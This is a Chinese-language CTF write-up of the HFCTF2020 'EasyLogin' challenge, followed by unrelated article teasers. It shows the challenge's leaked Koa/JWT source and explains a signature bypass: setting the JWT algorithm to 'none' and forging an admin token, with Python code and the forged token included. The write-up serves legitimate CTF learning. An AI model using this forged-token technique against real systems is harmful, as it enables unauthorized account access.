[HFCTF2020]EasyLogin

news2025/7/15 5:50:15

有注册登录,先注册一个账号然后登录进去

在登录页面的源代码发现

访问得到

/**
 *  或许该用 koa-static 来处理静态文件
 *  路径该怎么配置?不管了先填个根目录XD
 */

function login() {
    const username = $("#username").val();
    const password = $("#password").val();
    const token = sessionStorage.getItem("token");
    $.post("/api/login", {username, password, authorization:token})
        .done(function(data) {
            const {status} = data;
            if(status) {
                document.location = "/home";
            }
        })
        .fail(function(xhr, textStatus, errorThrown) {
            alert(xhr.responseJSON.message);
        });
}

function register() {
    const username = $("#username").val();
    const password = $("#password").val();
    $.post("/api/register", {username, password})
        .done(function(data) {
            const { token } = data;
            sessionStorage.setItem('token', token);
            document.location = "/login";
        })
        .fail(function(xhr, textStatus, errorThrown) {
            alert(xhr.responseJSON.message);
        });
}

function logout() {
    $.get('/api/logout').done(function(data) {
        const {status} = data;
        if(status) {
            document.location = '/login';
        }
    });
}

function getflag() {
    $.get('/api/flag').done(function(data) {
        const {flag} = data;
        $("#username").val(flag);
    }).fail(function(xhr, textStatus, errorThrown) {
        alert(xhr.responseJSON.message);
    });
}

里面有个/api/flag,直接去访问

在上面的js代码中,可以看到采用了koa框架

访问/controllers/api.js

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
    'POST /api/register': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || username === 'admin'){
            throw new APIError('register error', 'wrong username');
        }

        if(global.secrets.length > 100000) {
            global.secrets = [];
        }

        const secret = crypto.randomBytes(18).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret)

        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

        ctx.rest({
            token: token
        });

        await next();
    },

    'POST /api/login': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || !password) {
            throw new APIError('login error', 'username or password is necessary');
        }

        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        console.log(sid)

        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            throw new APIError('login error', 'no such secret id');
        }

        const secret = global.secrets[sid];

        const user = jwt.verify(token, secret, {algorithm: 'HS256'});

        const status = username === user.username && password === user.password;

        if(status) {
            ctx.session.username = username;
        }

        ctx.rest({
            status
        });

        await next();
    },

    'GET /api/flag': async (ctx, next) => {
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');
        }

        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
            flag
        });

        await next();
    },

    'GET /api/logout': async (ctx, next) => {
        ctx.session.username = null;
        ctx.rest({
            status: true
        })
        await next();
    }
};

    'GET /api/flag': async (ctx, next) => {
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');
        }

        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
            flag
        });

当用户名是admin的时候,可以拿到flag

而且在上面的代码中看到,有jwt

登录时抓包

把最下面这一段去JSON Web Tokens - jwt.io解密

能看到登录时的用户名和密码

HEADER中的alg就是加密方式,把它修改为none,就默认不加密,然后将payload里的username修改为admin即可

原因:签名算法确保恶意用户在传输过程中不会修改JWT。但是标题中的alg字段可以更改为none。有些JWT库支持无算法,即没有签名算法。当alg为none时,后端将不执行签名验证。将alg更改为none后,从JWT中删除签名数据(仅标题+‘.’+
payload +‘.’)并将其提交给服务器

生成jwt

import jwt
token = jwt.encode(
{
  "secretid": [],
  "username": "admin",
  "password": "123456",
  "iat": 1649380156
},
algorithm="none",key="").encode(encoding='utf-8')

print(token)

得到

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMzQ1NiIsImlhdCI6MTY0OTM4MDE1Nn0.

访问/api/flag,得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/36788.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

树形表,自关联表查询技巧

方法一&#xff1a;部门表&#xff0c;部门表中除了自身主键id外&#xff0c;还有另一个字段parentId父id&#xff0c;可以一直递归下去 数据库表&#xff1a; 菜单这样展示就需要我们在接口的返回值中&#xff0c;返回这样的层级数据&#xff1a; [{"id": 1,"…

Mybatis-plus使用教程

注意点&#xff1a;我们在主启动类上需要扫描我们持久层文件下的所以接口 MapperScan("com.kuang.mapper") 配置日志 mybatis-plus.configuration.log-implorg.apache.ibatis.logging.stdout.StdOutImplCRUD扩展 1.插入测试 //测试插入Testpublic void testInse…

java之《浅入了解异常》适合预习,复习

&#x1f387;&#x1f387;&#x1f387;作者&#xff1a; 小鱼不会骑车 &#x1f386;&#x1f386;&#x1f386;专栏&#xff1a; 《java练级之旅》 &#x1f393;&#x1f393;&#x1f393;个人简介&#xff1a; 一名专科大一在读的小比特&#xff0c;努力学习编程是我…

就推荐 4 个 yyds 的开源项目

本期推荐开源项目目录&#xff1a;1. 2022 年黑色星期五精选项目2. 力推的 SwiftUI 教程3. 开源的高校微信小程序4. 上班摸鱼用的 IDEA 插件012022 年黑色星期五精选项目没错&#xff0c;这个开源项目叫做 Black Friday。这是一个优质开源项目精选开源项目&#xff0c;盘点了开…

制作一个简单HTML个人网页网页(HTML+CSS)大话西游之大圣娶亲电影网页设计

HTML实例网页代码, 本实例适合于初学HTML的同学。该实例里面有设置了css的样式设置&#xff0c;有div的样式格局&#xff0c;这个实例比较全面&#xff0c;有助于同学的学习,本文将介绍如何通过从头开始设计个人网站并将其转换为代码的过程来实践设计。 文章目录一、网页介绍一…

QT中的OpenGLWidget

1、在生成的UI中&#xff0c;通过控件OpenGL Widget来布置相应的空间&#xff08;后续讲通过promoted widget将此控件与派生的OpenGLWidget进行绑定&#xff09; 2、添加一个widget类&#xff0c;该类派生于 QOpenGLWidget, QOpenGLFunctions_*_*_Core&#xff08;*代表版本号…

rabbitmq配置windows authentication(windows account)

rabbitmq配置windows authentication(windows account开启插件配置文件创建一个不需要密码的账号&#xff0c;赋予administrator权限。用windows账号和密码登录rabbitmq加密明文密码创建密钥的文件,添加密钥字符串加密解密用户名密码配置加密后的字符串重启rabbitmq&#xff0c…

做好软件设计让你“事半功倍”

文章目录一、浅谈软件设计二、什么是好的软件设计&#xff1f;三、如何做好软件设计&#xff1f;3.1 设计原则3.1.1 SOLID原则3.1.2 开放-关闭原则&#xff08;Open–closed principle&#xff0c;OCP)3.1.3 里氏替换原则(Liskov Substitution Principle&#xff0c;LSP)3.1.4 …

数据结构与算法之让我们种下一棵字典树(Java/C++双语言实现)

⭐️前面的话⭐️ 本篇文章将介绍一种经常使用的数据结构——字典树&#xff0c;它又称Tire树&#xff0c;前缀树&#xff0c;字典树&#xff0c;顾名思义&#xff0c;是关于“字典”的一棵树。这个词典中的每个“单词”就是从根节点出发一直到某一个目标节点的路径&#xff0…

四川省部分地区经济发展水平的统计分析

四川省部分地区经济发展水平统计 摘 要 区域经济差异是经济发展过程中的一个普遍问题。区域经济的发展水平不仅影响到政府对各地的管理&#xff0c;也直接影响着社会的安定和人民的生活水平。而四川省区域经济差异更是表现明显&#xff0c;合理分析差异是政府行政管理的一个重…

系统设计-文本内容保存之XSS过滤

点击上方名片关注我&#xff0c;为你带来更多踩坑案例- 引言 -如果你是一个摸爬滚打几年的开发者&#xff0c;那么这个阶段&#xff0c;对系统设计的合理性绝对是衡量一个人水平的重要标准。一个好的设计不光能让你工作中避免很多麻烦&#xff0c;还能为你面试的时候增加很多谈…

【科学文献计量】RC.networkMultiLevel()中的参数解释

RC.networkMultiLevel中的参数解释 1 数据2 RC.networkMultiLevel()中的参数解释2.1 测试*modes参数2.2 测试nodeCount参数2.3 测试edgeWeight参数2.4 测试stemmer参数2.5 测试edgeAttribute参数2.6 测试nodeAttribute参数2.7 测试_networkTypeString参数1 数据 RC.networkMul…

QT学习笔记(四)——在QLabel显示的影像上画图形,并和影像同步放大缩小

实现在QLabel显示的影像上画图形&#xff0c;并和影像同步放大缩小 关于影像在QLabel的显示&#xff0c;如何随鼠标滚轮实现放大缩小&#xff0c;可以参考我的上一篇博客 QT学习笔记&#xff08;三&#xff09;——vs2019Qt实现打开影像并以鼠标为中心用滚轮控制图片缩放 本篇…

[每周一更]-(第22期):什么是gRPC?

gRPC 是Google发起的一个开源远程过程调用 系统。 该系统基于HTTP/2 协议传输&#xff0c;使用Protocol Buffers 作为接口描述语言。 其他功能&#xff1a; 认证 双向流 流控制 超时 最常见的应用场景是&#xff1a; 微服务框架下&#xff0c;多种语言服务之间的高效交互。 …

app发布前要做的几件事

最近把一个小东西做完了&#xff0c;想上架让大家用一下。在上架之前关于app需要做的几件事在此备忘一下。 1、app签名。 我用的是android studio 21.2.1版&#xff0c;签名跟之前的版本可能不同&#xff08;我之前用的是3.5&#xff09;&#xff0c;但也大同小异。21.2.1版的…

蓝桥杯刷题四

1.激光炸弹 二维前缀和的模板题 这里注意一下边长是R 矩形是(R-1)*(R-1) 并且坐标最大是5000 所以5001的轰炸就能炸完整个图了 所以要对这个做优化 不然会各种错误 #include <bits/stdc.h> using namespace std; const int N5e310; int sum[N][N]; int main() {int n…

学生个人网页设计作品 HTML+CSS+JavaScript仿小米商城(8页) 学生个人网页模板 简单个人主页成品 个人网页制作 HTML学生个人网站作业设计

临近期末&#xff0c;大一新生的各种考试和专业结课作业纷至沓来。什么高数啊、线代啊、C语言、网页设计等&#xff0c;简直让人头大。你还在为网页设计老师的作业要求感到头大&#xff1f;网页作业无从下手&#xff1f;网页要求的总数量太多&#xff1f;没有合适的模板&#x…

《人月神话》(The Mythical Man-Month)4概念一致性:专制、民主和系统设计(System Design)...

主题&#xff1a;概念一致性 &#xff08;Conceptual Integrity&#xff09;4. 专制、民主和系统设计(System Design&#xff09;Chapter 4. Aristocracy, Democracy, and System Design大教堂是艺术史上无与伦比的成就。它的原则既不乏味也不混乱……真正达到了风格上的极致&a…

【蓝桥杯选拔赛真题30】python计算倒数和 青少年组蓝桥杯python 选拔赛STEMA比赛真题解析

目录 python计算倒数和 一、题目要求 1、编程实现 2、输入输出 3、评分标准

【深度学习】手写数字识别

一、机器学习问题的求解步骤 学习 使用训练数据进行权重参数的学习 推理使用学习到的参数对输入的数据进行分类 二、MNIST数据集 2.1 load_mnist(flattenTrue, normalizeFalse) flattentrue 读入的图像一维numpy数组的形式保存 2.2 函数学习 def fromarray(obj, modeNone…